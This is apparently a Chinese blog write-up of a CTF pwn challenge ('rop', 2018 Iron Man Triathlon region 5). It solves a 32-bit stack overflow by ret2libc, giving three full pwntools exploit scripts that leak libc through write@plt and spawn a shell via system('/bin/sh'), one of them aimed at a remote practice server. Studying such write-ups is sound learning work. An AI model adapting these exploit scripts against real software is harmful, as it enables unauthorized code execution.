铁人三项(第五赛区)_2018_rop

ashyz 发布于 20 天前 33 次阅读


铁人三项(第五赛区)_2018_rop

前言

这题是一道非常经典的32位ret2libc的题,对于新手(我)来说还是非常有帮助的

image-20250519215559126

例行检查,这里只开启了nx保护,意味着栈不可执行,也就是说,我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell

image-20250519215834379

题目源码非常简单,只有这段

思路很简单,覆盖buf(136字节)和 ebp(4字节),之后将返回地址修改为wirte_plt,泄露出Libc,之后就可以拿到shell

在这之前一直不会使用LibcSearcher,泄露libc都是自己手找的,后面将会介绍LibcSearcher的使用

方法一

首先泄露出Libc,这里我打本地,远程同理

from pwn import *
context.log_level = 'debug'
io = process('./top')
elf = ELF('./top')

write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = elf.sym['main']
__libc_start_main_got = elf.got['__libc_start_main']

payload = b'a' * (136 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)
io.sendline(payload)
read_addr = u32(io.recv())
payload = b'a' * (136 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(__libc_start_main_got) + p32(4)
io.sendline(payload)
__libc_start_main_addr = u32(io.recv())

print('read_addr is:', hex(read_addr))
print('__libc_start_main_addr is:', hex(__libc_start_main_addr))

image-20250519222419344

可以根据后三位找对应的libc版本libc database search

image-20250519222543744

找到对应函数在libc上的偏移,后可以构造出payload,完整exp如下:

from pwn import *
context.log_level = 'debug'
io = process('./top')
elf = ELF('./top')

write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = elf.sym['main']
__libc_start_main_got = elf.got['__libc_start_main']

payload = b'a' * (136 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)
io.sendline(payload)
read_addr = u32(io.recv())
payload = b'a' * (136 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(__libc_start_main_got) + p32(4)
io.sendline(payload)
__libc_start_main_addr = u32(io.recv())

print('read_addr is:', hex(read_addr))
print('__libc_start_main_addr is:', hex(__libc_start_main_addr))

system_addr = __libc_start_main_addr + 0x26c10
str_bin_sh = __libc_start_main_addr + 0x19bb75

payload = b'a' * (136 + 4) + p32(system_addr) + p32(main_addr) + p32(str_bin_sh)
io.sendline(payload)
io.interactive()

本地测试可以打通

image-20250519222857374

方法二

感谢其他师傅的帮助,LibcSearcher的使用参考以下文章:

解决LibcSearcher找不到合适libc(更新libc)_libcsearcher没找到libc-CSDN博客

这里更新libc很慢,也可以使用这个版本的LibcSearcher

比起原版 LibcSearcher 只多了一个缺点:断网就不可用了。

exp:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#io = process('./top')
io = remote('node5.buuoj.cn', 25236)
elf = ELF('./top')

write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = elf.sym['main']
__libc_start_main_got = elf.got['__libc_start_main']

payload = b'a' * (136 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(__libc_start_main_got) + p32(4)
io.sendline(payload)

__libc_start_main_addr = u32(io.recv())
print('__libc_start_main_addr is:', hex(__libc_start_main_addr))
libc = LibcSearcher('__libc_start_main', __libc_start_main_addr)
base_addr = __libc_start_main_addr - libc.dump('__libc_start_main')

system_addr = base_addr + libc.dump('system')
str_bin_sh = base_addr + libc.dump('str_bin_sh')
payload = b'a' * (136 + 4) + p32(system_addr) + p32(main_addr) + p32(str_bin_sh)
io.sendline(payload)
io.interactive()

image-20250519223816827

pwnpwn
最后更新于 2025-05-19